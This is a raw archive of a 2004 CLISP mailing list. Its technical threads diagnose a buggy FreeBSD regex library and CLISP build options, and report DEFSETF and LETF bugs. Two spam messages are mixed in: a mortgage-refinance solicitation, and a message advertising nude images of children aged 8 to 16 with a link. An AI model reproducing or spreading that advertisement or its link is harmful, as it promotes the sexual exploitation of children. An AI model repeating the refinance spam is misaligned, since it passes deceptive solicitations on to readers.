08:37:58 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CVBlm-0008My-54 for clisp-list@lists.sourceforge.net; Fri, 19 Nov 2004 08:37:58 -0800 Received: from main.gmane.org ([80.91.229.2]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CVBlg-0005us-SH for clisp-list@lists.sourceforge.net; Fri, 19 Nov 2004 08:37:58 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1CVBle-0001Bl-00 for ; Fri, 19 Nov 2004 17:37:50 +0100 Received: from p5086de42.dip.t-dialin.net ([80.134.222.66]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 19 Nov 2004 17:37:50 +0100 Received: from cpohlmann01 by p5086de42.dip.t-dialin.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 19 Nov 2004 17:37:50 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Christian Pohlmann Lines: 16 Message-ID: References: <16798.6579.823861.736646@thalassa.informatimago.com> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: p5086de42.dip.t-dialin.net User-Agent: Pan/0.14.2.91 (As She Crawled Across the Table) X-Spam-Score: 1.4 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.5 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] Re: problems w/ regexp on clisp 2.33.2 / freebsd Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 19 08:38:11 2004 X-Original-Date: Fri, 19 Nov 2004 17:38:41 +0100 On Fri, 19 Nov 2004 17:05:07 +0100, Pascal J. Bourguignon wrote: > > There are bugged implementations of regex! > Fetch gnu regex (from glibc) and compile it with clisp. > > See: http://sourceforge.net/mailarchive/message.php?msg_id=9272757 > > > Use this c program to check your implementation of regex: > thanks for your quick reply. I compiled your c source to test my regex lib and it's indeed buggy. So I chose to recompile clisp with the --without-sysre switch, but I still get the same buggy output. From sds@gnu.org Fri Nov 19 08:51:26 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CVByn-0000mN-Uf for clisp-list@lists.sourceforge.net; Fri, 19 Nov 2004 08:51:25 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CVByn-0006HM-Cb for clisp-list@lists.sourceforge.net; Fri, 19 Nov 2004 08:51:25 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iAJGpD7Q010560; Fri, 19 Nov 2004 11:51:13 -0500 (EST) To: clisp-list@lists.sourceforge.net, Christian Pohlmann Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Christian Pohlmann's message of "Fri, 19 Nov 2004 17:38:41 +0100") References: <16798.6579.823861.736646@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Christian Pohlmann Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 1.1 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email Subject: [clisp-list] Re: problems w/ regexp on clisp 2.33.2 / freebsd Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 19 08:52:11 2004 X-Original-Date: Fri, 19 Nov 2004 11:51:13 -0500 > * Christian Pohlmann [2004-11-19 17:38:41 +0100]: > > On Fri, 19 Nov 2004 17:05:07 +0100, Pascal J. Bourguignon wrote: > >> >> There are bugged implementations of regex! >> Fetch gnu regex (from glibc) and compile it with clisp. >> >> See: http://sourceforge.net/mailarchive/message.php?msg_id=9272757 >> >> Use this c program to check your implementation of regex: > > thanks for your quick reply. I compiled your c source to test my regex > lib and it's indeed buggy. So I chose to recompile clisp with the > --without-sysre switch, but I still get the same buggy output. is it possible that you might still be using the system implementation of regexp? if regexec() et al are in libc and not in libregexp or something, they are always linked to CLISP. you might need to rename all the regexp functions from things like regexec() to clisp_regexec() in regex.c, regex.h, regexi.c and then rebuild everything. -- Sam Steingold (http://www.podval.org/~sds) running w2k My inferiority complex is not as good as yours. From pascal@informatimago.com Fri Nov 19 08:58:46 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CVC5t-00019G-Dq for clisp-list@lists.sourceforge.net; Fri, 19 Nov 2004 08:58:45 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CVC5s-0000SU-3u for clisp-list@lists.sourceforge.net; Fri, 19 Nov 2004 08:58:45 -0800 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 86A16586F5; Fri, 19 Nov 2004 17:58:37 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 3C97D4F12; Fri, 19 Nov 2004 17:58:31 +0100 (CET) Message-ID: <16798.9783.212387.485810@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Cc: Sam Steingold Subject: [clisp-list] Re: problems w/ regexp on clisp 2.33.2 / freebsd In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 1.1 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 19 08:59:06 2004 X-Original-Date: Fri, 19 Nov 2004 17:58:31 +0100 Sam Steingold writes: > > * Christian Pohlmann [2004-11-19 16:38:19 +0100]: > > > > Hello, > > > > this time I searched many available clisp resources like the FAQ or the > > impnotes. Anyway, there seems to be a problem with your regexp module in > > version 2.33.2: I compiled it from scratch on my FreeBSD 5.3 box, ran it > > with regexp support and just tried out the example you mention in the > > impnotes. This is what I get for the first one: > > > > [1]> (regexp:match "quick" "The quick brown fox jumps quickly.") > > #S(REGEXP:MATCH :START 4 :END 0) > > [2]> (regexp:match "quick" "The quick brown fox jumps quickly." :start 8) > > #S(REGEXP:MATCH :START 26 :END 8) > > [3]> > > WFM (cygwin, linux): Yes, gnu regex has not this bug, but FreeBSD and MacOSX have it. I'm still believing that the regexp module of clisp should include the source of gnu regex.c and if some sanity tests don't succeed at configure time, it should use the shipped regex.c instead of that provided by the system. -- __Pascal Bourguignon__ http://www.informatimago.com/ The world will now reboot; don't bother saving your artefacts. From pascal@informatimago.com Fri Nov 19 09:57:28 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CVD0i-0006IX-IL for clisp-list@lists.sourceforge.net; Fri, 19 Nov 2004 09:57:28 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CVD0e-0001dI-RQ for clisp-list@lists.sourceforge.net; Fri, 19 Nov 2004 09:57:28 -0800 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 8E2E7586FC; Fri, 19 Nov 2004 18:57:19 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 0DA304F12; Fri, 19 Nov 2004 18:57:19 +0100 (CET) Message-ID: <16798.13311.25622.594769@thalassa.informatimago.com> To: Christian Pohlmann Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: problems w/ regexp on clisp 2.33.2 / freebsd In-Reply-To: References: <16798.6579.823861.736646@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 19 09:58:03 2004 X-Original-Date: Fri, 19 Nov 2004 18:57:19 +0100 (Oops, Sam, sorry, I just saw now that regexp module do provide now a regex.c; I was echoing an old message). Christian Pohlmann writes: > On Fri, 19 Nov 2004 17:05:07 +0100, Pascal J. Bourguignon wrote: > > > > > There are bugged implementations of regex! > > Fetch gnu regex (from glibc) and compile it with clisp. > > > > See: http://sourceforge.net/mailarchive/message.php?msg_id=9272757 > > > > > > Use this c program to check your implementation of regex: > > > > thanks for your quick reply. I compiled your c source to test my regex lib > and it's indeed buggy. So I chose to recompile clisp with the > --without-sysre switch, but I still get the same buggy output. --without-sysre will work in the _next_ version, that is, 2.33.3. (perhaps it works with the current CVS version?) You can check with: #1# cd clisp-2.33.2 ./configure --with-module=regexp --without-sysre cd src ./makemake --with-dynamic-ffi --with-module=regexp \ --without-sysre > Makefile make grep NEW_LIBS src/regexp/link.sh if you get: NEW_LIBS="$file_list regex.o" then it's using the regex.c provided with the regexp module. If you get: NEW_LIBS="$file_list " then it's not. (That's what I get with clisp-2.33.2). The only way I can imagine for now is to edit regexp/link.sh.in and substitute @REGEX_O@ with regex.o before starting over from #1#. -- __Pascal Bourguignon__ http://www.informatimago.com/ The world will now reboot; don't bother saving your artefacts. From mendezns@sma.se Sat Nov 20 07:20:29 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CVX2L-0001Tq-NY for clisp-list@lists.sourceforge.net; Sat, 20 Nov 2004 07:20:29 -0800 Received: from brj68.neoplus.adsl.tpnet.pl ([83.29.103.68] helo=tecban.com.br) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1CVX2J-0004hM-FE for clisp-list@lists.sourceforge.net; Sat, 20 Nov 2004 07:20:29 -0800 Received: from 124.210.183.243 by smtp.sma.se; Sat, 20 Nov 2004 15:28:29 +0000 Message-ID: From: "Herminia N. Mendez" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.2 DEAR_SOMETHING BODY: Contains 'Dear (something)' 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Application is pre approved Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 20 07:21:07 2004 X-Original-Date: Sat, 20 Nov 2004 17:28:02 +0200 Dear Sir or Madam, Would you REFINANCE if you knew you'd SAVE TH0USANDS? We'll get you lnterest as low as 1.92%. Don't believe me? Fill out our small online questionaire and we'll show you how. Get the house/home and/or car you always wanted, it only takes 10 seconds of your time: http://www.your-financial.com/ Best Regards, Andrew Banks No thanks: http://www.your-financial.com/r1/ From sds@gnu.org Sat Nov 20 17:31:21 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CVgZU-000894-QP for clisp-list@lists.sourceforge.net; Sat, 20 Nov 2004 17:31:20 -0800 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CVgZS-0005Q0-Rl for clisp-list@lists.sourceforge.net; Sat, 20 Nov 2004 17:31:20 -0800 Received: from 65-78-14-157.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.14.157] helo=WINSTEINGOLDLAP) by smtp04.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1CVgZK-0004xJ-00; Sat, 20 Nov 2004 20:31:10 -0500 To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <16798.9783.212387.485810@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Fri, 19 Nov 2004 17:58:31 +0100") References: <16798.9783.212387.485810@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: problems w/ regexp on clisp 2.33.2 / freebsd Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 20 17:37:06 2004 X-Original-Date: Sat, 20 Nov 2004 20:31:09 -0500 > * Pascal J.Bourguignon [2004-11-19 17:58:31 +0100]: > > I'm still believing that the regexp module of clisp should include the > source of gnu regex.c and if some sanity tests don't succeed at > configure time, it should use the shipped regex.c instead of that > provided by the system. done. please check out CVS HEAD. -- Sam Steingold (http://www.podval.org/~sds) running w2k MS: Brain off-line, please wait. From durand@icst.com Sat Nov 20 20:12:46 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CVj5h-0002VB-3v for clisp-list@lists.sourceforge.net; Sat, 20 Nov 2004 20:12:45 -0800 Received: from 16-196-58-66.gci.net ([66.58.196.16]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1CVj5f-0006NS-Nb for clisp-list@lists.sourceforge.net; Sat, 20 Nov 2004 20:12:44 -0800 Received: from mail.icst.com by 16-196-58-66.gci.net (Postfix) with ESMTP id AFD39403F3 for ; Sat, 20 Nov 2004 23:12:53 -0500 Received: from unknown (189.85.23.77) by mail.icst.com with ESMTP for ; Sat, 20 Nov 2004 23:12:53 -0500 From: "Kimberly Hammer" Reply-To: "Kimberly Hammer" Message-ID: <9997608245.0207492106@icst.com> To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] cool beauty 8 - 15 list y.o. nymphets soon nude Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 20 20:16:54 2004 X-Original-Date: Sat, 20 Nov 2004 23:12:53 -0500 How's yourself? Wanna see unique sidesway exclusive young girls ? As long as I can concentrate and remain somewhat calm, I can normally do very well. http://www.geocities.com/lincoln_tapia_71/?s=rtv&m=hYbRU-YbRQ.YbRQR,RVPShfeVSdf,WfQ Really 8-16 y.o more models. their provide pink hairless Better a snotty child than his nose wiped off. You will see chorograph the most frank moments If liberty has any meaning it means freedom to improve.We give advice, but we cannot give the wisdom to profit by it.Duty is the sublimest word in the language. You can never do more than your duty. You should never wish to do less. From kon@iki.fi Sun Nov 21 12:55:09 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CVyjk-0008KH-Rf for clisp-list@lists.sourceforge.net; Sun, 21 Nov 2004 12:55:08 -0800 Received: from addr-213-216-218-8.suomi.net ([213.216.218.8] helo=Astalo.kon.iki.fi) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:RC4-SHA:128) (Exim 4.41) id 1CVyjQ-0005RF-GV for clisp-list@lists.sourceforge.net; Sun, 21 Nov 2004 12:55:08 -0800 Received: from kalle by Astalo.kon.iki.fi with local (Exim 4.34) id 1CVyjG-0000jF-Su; Sun, 21 Nov 2004 22:54:38 +0200 To: clisp-list@lists.sourceforge.net Keywords: DEFSETF,LETF,multiple values X-Accept-Language: fi;q=1.0, en;q=0.9, sv;q=0.5, de;q=0.1 From: Kalle Olavi Niemitalo Message-ID: <874qjiorch.fsf@Astalo.kon.iki.fi> User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] setf-related bugs without value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Nov 21 12:58:07 2004 X-Original-Date: Sun, 21 Nov 2004 22:54:38 +0200 I'm using CLISP 2.33.2-2 from Debian, with Linux 2.4.23 on i686. Running clisp -ansi: [1]> (defun foo () (values)) FOO [2]> (defsetf foo () () (values)) *** - DEFSETF: Missing store variable. Break 1 [3]> According to the DEFSETF dictionary entry in the CLHS, the long form has this syntax: defsetf access-fn lambda-list (store-variable*) [[declaration* | documentation]] form* As the asterisk means zero or more, store variables should not be required. Another, CLISP-specific issue: [4]> (macroexpand-1 '(letf (((progn (values)) 42)) t)) *** - SETF place (PROGN (VALUES)) produces more than one store variable. Break 1 [5]> (get-setf-expansion '(progn (values))) NIL ; NIL ; NIL ; (VALUES) ; (VALUES) Break 1 [5]> Because the list of store variables in this setf expansion is empty, it is not true that the place "produces more than one store variable." Please correct the error message or make the LETF form expand without an error. From sds@gnu.org Sun Nov 21 15:27:30 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CW17B-0003e1-J4 for clisp-list@lists.sourceforge.net; Sun, 21 Nov 2004 15:27:29 -0800 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CW170-0005kn-Kh for clisp-list@lists.sourceforge.net; Sun, 21 Nov 2004 15:27:29 -0800 Received: from 65-78-14-157.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.14.157] helo=WINSTEINGOLDLAP) by smtp04.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1CW16y-00012S-00; Sun, 21 Nov 2004 18:27:16 -0500 To: clisp-list@lists.sourceforge.net, Kalle Olavi Niemitalo Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <874qjiorch.fsf@Astalo.kon.iki.fi> (Kalle Olavi Niemitalo's message of "Sun, 21 Nov 2004 22:54:38 +0200") References: <874qjiorch.fsf@Astalo.kon.iki.fi> Mail-Followup-To: clisp-list@lists.sourceforge.net, Kalle Olavi Niemitalo Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: setf-related bugs without value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Nov 21 15:31:34 2004 X-Original-Date: Sun, 21 Nov 2004 18:27:15 -0500 thanks, fixed. -- Sam Steingold (http://www.podval.org/~sds) running w2k I'd give my right arm to be ambidextrous. From pascal@informatimago.com Sun Nov 21 21:46:35 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CW722-0005eq-Pd for clisp-list@lists.sourceforge.net; Sun, 21 Nov 2004 21:46:34 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CW70V-00052F-QB for clisp-list@lists.sourceforge.net; Sun, 21 Nov 2004 21:46:34 -0800 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 4CF5658776; Mon, 22 Nov 2004 06:44:46 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id D66D84F79; Mon, 22 Nov 2004 06:44:40 +0100 (CET) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en Reply-To: Message-Id: <20041122054440.D66D84F79@thalassa.informatimago.com> X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: 